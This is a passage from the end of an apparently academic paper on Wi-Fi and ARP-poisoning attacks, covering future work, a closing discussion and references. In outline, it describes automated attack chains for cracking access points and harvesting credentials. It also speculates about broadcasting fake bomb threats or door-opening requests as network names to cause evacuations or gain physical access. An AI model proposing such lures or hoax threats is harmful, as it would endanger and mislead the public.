attacks, CAM table flooding, and blocking countermeasures like VPNs were all attacks that could have been documented. Attempting to implement theoretical or advanced attacks or discovering new attacks were also not mentioned. Countermeasures of each attack were listed as ways to stop the initial threat, but a determined attacker may possess the ability to bypass, evade, or workaround the first set of countermeasures with varying degrees of ease. Further research and testing could have been conducted to assess the effectiveness of the initial countermeasures and the bypasses or evasion techniques. The list of countermeasures available for each attack could also have been more expansive and detailed. Additionally, second and potentially even third sets of countermeasures to help prevent even the most advanced attacks could also have been discovered and noted. Though extensive, a risk analysis could have also been included to aid corporate, academic, or governmental entities. This project focused on the personal or consumer side, where a complete risk management program is rarely in effect. Automation or chaining various attacks could also have been conducted to ease or aid typical attack cycles. Utilizing tools or frameworks with this capability in mind or creating a new one would be necessary for this. An example could include scanning the nearby area for open access points, connecting to those access points, harvesting credentials, connecting to the services those credentials belong to, and stealing all of the sensitive information. Other types could include scanning for nearby networks and automating the process of cracking into the access points using WEP or grabbing the WPA handshake and running that through a dictionary attack and using web exploit kits to gather new bots. There exist many more opportunities for automation, but the more

automation used in dynamic environments, the less stability and reliability is achieved in the attacks. Finally, an enquiry on the public's general knowledge on this subject of wireless and network security could have been conducted to obtain valuable information. The survey could find out what the population's knowledge of common attacks, common countermeasures, and best practices is. Armed with this knowledge, attacks could figure out how to better tailor their attacks and companies can figure out how to better secure their products and educate the public. In the large area of computer security, there always exist opportunities to improve and further expand upon current knowledge and understanding.

It is important to recognize and understand the full extent of the capabilities these attacks can have on the real, physical world as well. The ability to create customized SSIDs is nearly always used for typical, benign purposes. However, since SSIDs are broadcasted to everyone in range with a Wi-Fi enabled devices, which is essentially everyone in the current age, they represent a capability to communicate malicious messages or threats. In a social engineering or even more serious attack, would an employee or staff member "help" someone if they were to see something similar to "Please Open Door 301; Locked Out" when looking for Wi-Fi on their iPhone? Such a task would be simple enough for them to quickly accomplish and they would likely appreciate the thanks the "person" they "saved" would give. The fact the distress call came in the form of a wireless hotspot would also further pique their interest and desire to assist. Could one lock down a school when a student or adult sees an access point called "There are 5 bombs around school" while trying to connect to the school Wi-Fi?

Could one delay dozens of flights or shut down an airport while hundreds of passengers search for free internet with terrorist threats as network names? A threat would escalate its legitimacy significantly if it could redirect to a local web page whenever a user connects that states a countdown or other frightening message. At least a few passengers would grow immediately concerned and scared and would report the incident to security. Almost certainly would an evacuation then be ordered to ensure the safety of the passengers, students, or customers. The possibilities of an attack in this form are almost endless. Although a threat or social engineering attack through a phone call would often be faster and more reliable, this is a unique attack vector that could be explored.

Dug Song released dsniff fifteen years ago to demonstrate weakness in security. Among those tools was arpspoof, an attack used for basic ARP poisoning based MITM attacks. Fifteen years ago, the Wi-Fi Alliance was also formed. Wireless routers have improved significantly in the past fifteen years. They are smarter, faster, and more reliable than ever. Many talented engineers work on every new model to make it great. Yet, remarkably, despite all those improvements made, ARP poisoning is still not prevented in modern home routers. This fact highlights the recent state of security and why it so desperately needs to improve. For as long as there are people to hack and no care about security, there will remain chaos. Investing and caring about security, placing security as an essential part in product development, and educating the public will work to solve that problem. I hope that this effort becomes a reality.

References

Armitage, Scott. "Known Wireless Attacks." Loughborough University, Oct. 2011. Web. 25 Nov. 2013.

"IEEE 802.11." *Wikipedia*. Wikimedia Foundation, 23 Jan. 2014. Web. 25 Jan. 2014.

King, Jeff, and Kevin Lauerman. "ARP Poisoning (Man-in-the-Middle) Attack and Mitigation Techniques." *Cisco.com*. Cisco, n.d. Web. 26 Nov. 2013.

Low, Christopher. "Understanding Wireless Attacks and Detection." *Sans* 13 Apr. 2005 Sans 11 Nov. 2013

Moceri, Paul, and Troy Ruths. "Cafe Cracks: Attacks on Unsecured Wireless Networks." Washington University in St. Louis, Dec. 2007. Web. 26 Nov. 2013.

Nachreiner, Corey. "Anatomy of an ARP Poisoning Attack." *Internet Security Solutions*. WatchGuard, n.d. Web. 26 Nov. 2013.

Phatak, Prashant. "Cyber Attacks Explained: Wireless Attacks." *LINUX For You*. EFY Enterprises, 4 Apr. 2013. Web. 26 Nov. 2013.

Phifer, Lisa. "A List of Wireless Network Attacks." *Security School*. TechTarget, June 2009. Web. 26 Nov. 2013.

Shimonski, Robert. "Wireless Attacks Primer." *About.com Internet / Network Security*. About.com, n.d. Web. 26 Nov. 2013.

"Wi-Fi." *Wikipedia*. Wikimedia Foundation, 21 Jan. 2014. Web. 26 Jan. 2014.

"Wireless LAN." *Wikipedia*. Wikimedia Foundation, 01 Apr. 2014. Web. 25 Jan. 2014.

"Wireless Security." *Wikipedia*. Wikimedia Foundation, 01 July 2014. Web. 25 Jan. 2014.